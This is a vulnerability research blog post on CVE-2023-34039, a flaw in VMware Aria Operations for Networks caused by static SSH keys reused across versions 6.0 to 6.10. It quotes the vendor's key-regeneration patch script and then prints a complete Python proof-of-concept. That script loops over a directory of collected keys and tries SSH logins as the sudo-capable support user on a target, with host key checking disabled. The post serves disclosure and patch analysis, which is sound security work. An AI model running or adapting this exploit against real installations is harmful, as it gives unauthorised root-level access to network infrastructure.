Introduction

Recently, VMware published a new advisory for a CVSS 9.8 issue. The advisory describes:

Aria Operations for Networks contains an Authentication Bypass vulnerability due to a lack of unique cryptographic key generation. VMware has evaluated the severity of this issue to be in the critical severity range with a maximum CVSSv3 base score of 9.8 CVE-2023-34039.

This issue was reported to VMWare by Harsh Jaiswal (@rootxharsh) and Rahul Maini (@iamnoooob) at ProjectDiscovery Research

VMWare also has mentioned:

A malicious actor with network access to Aria Operations for Networks could bypass SSH authentication to gain access to the Aria Operations for Networks CLI.

Interestingly, VMware has named this issue “Networks Authentication Bypass”, but in my opinion, nothing is getting bypassed. There is SSH authentication in place; however, VMware forgot to regenerate the keys.

After reading both descriptions, I realized that this must be a hardcoded SSH key issue. VMware’s Aria Operations for Networks had hardcoded its keys from version 6.0 to 6.10.

Patch Analysis

VMware has published multiple patch files for users to apply to their instances. One of the many files in these patches is a bash script.

refresh_ssh_keys() {
    log "Remove old public key from authorized_keys file for support user"
    chmod 666 /home/support/.ssh/authorized_keys
    sed -i "s#$(sudo cat /home/support/.ssh/id_rsa_vnera_keypair.pub)##" /home/support/.ssh/authorized_keys

    log "Remove old keys"
    rm -f /home/support/.ssh/id_rsa_vnera_keypair
    rm -f /home/support/.ssh/id_rsa_vnera_keypair.pub
    rm -f /home/ubuntu/.ssh/id_rsa_vnera_keypair
    rm -f /home/ubuntu/.ssh/id_rsa_vnera_keypair.pub

    log "Generate new keypair for support user"
    ssh-keygen -q -t rsa -f /home/support/.ssh/id_rsa_vnera_keypair -N ''

    log "Copy new keys for ubuntu user"
    cp /home/support/.ssh/id_rsa_vnera_keypair /home/ubuntu/.ssh/
    cp /home/support/.ssh/id_rsa_vnera_keypair.pub /home/ubuntu/.ssh/

    log "Add new public key file to home/support/.ssh/authorized_keys"
    cat /home/support/.ssh/id_rsa_vnera_keypair.pub >> /home/support/.ssh/authorized_keys
    chown support:support /home/support/.ssh/authorized_keys

    log "Provide right permissions to ssh files generated"
    chmod 400 /home/support/.ssh/id_rsa_vnera_keypair
    chmod 400 /home/support/.ssh/id_rsa_vnera_keypair.pub
    chmod 640 /home/support/.ssh/authorized_keys
    chown support:support /home/support/.ssh/id_rsa_vnera_keypair
    chown support:support /home/support/.ssh/id_rsa_vnera_keypair.pub

    chmod 400 /home/ubuntu/.ssh/id_rsa_vnera_keypair
    chmod 400 /home/ubuntu/.ssh/id_rsa_vnera_keypair.pub
    chown ubuntu:ubuntu /home/ubuntu/.ssh/id_rsa_vnera_keypair
    chown ubuntu:ubuntu /home/ubuntu/.ssh/id_rsa_vnera_keypair.pub

    log "Remove Empty Lines from authorized_keys files"
    sed -i '/^$/d' /home/support/.ssh/authorized_keys

}

As you can see, the refresh_ssh_keys function is responsible for overwriting the current SSH keys for the support and ubuntu users. Notably, both users have the same keys and are part of the sudoers group with no limitations.

The Hunt for the keys

This post is rather brief because there’s not much to elaborate on. The main challenge in exploiting this vulnerability is that each version of VMware’s Aria Operations for Networks has a unique SSH key. To create a fully functional exploit, I had to collect all the keys from different versions of this product. After some time, I finally collected the keys for versions 6.0 to 6.10. The latest version, 6.11, is not vulnerable to this issue as VMware had fixed it prior to its release.

This product when implemented, consists of two nodes, one is called Platform and the other is Collector, basically two different machines, the exploit contains the keys for both of these nodes across all versions.

Proof of Concept

PoC

PoC.py

PoC on Github

"""
VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
Version: All versions from 6.0 to 6.10
Discovered by: Harsh Jaiswal (@rootxharsh) and Rahul Maini (@iamnoooob) at ProjectDiscovery Research
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
A root cause analysis of the vulnerability can be found on my blog:
https://summoning.team/blog/vmware-vrealize-network-insight-ssh-key-rce-cve-2023-34039/
"""
import argparse
import os
import subprocess

parser = argparse.ArgumentParser()
parser.add_argument('--target', '-t', help='Target IP address (192.168.1.1)', required=True)
parser.add_argument('--port', '-p', help='Target SSH Port', default='22', required=False)
args = parser.parse_args()

print("""(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
""")

def sanity_check():
    if os.name == 'posix':
        os.system('chmod -R 700 keys/')

def exploit():
    for root, dirs, files in os.walk("keys"):
        for file in files:
            key_file = str(os.path.join(root, file))
            print(f"(*) Trying key: {key_file}\n")
            ssh_command = ['ssh', '-i', key_file, 'support@' + args.target, '-p', args.port, '-o', 'StrictHostKeyChecking=no', '-o', 'UserKnownHostsFile=/dev/null', '-o', 'BatchMode=yes', '2>/dev/null']
            try:
                ssh_command = ' '.join(ssh_command)
                coutput = os.system(ssh_command)
            except Exception as e:
                log = f"(-) Failed connecting to {args.target}:{args.port} with key {key_file}!"
                continue
sanity_check()
exploit()

References

CVE-2023-34039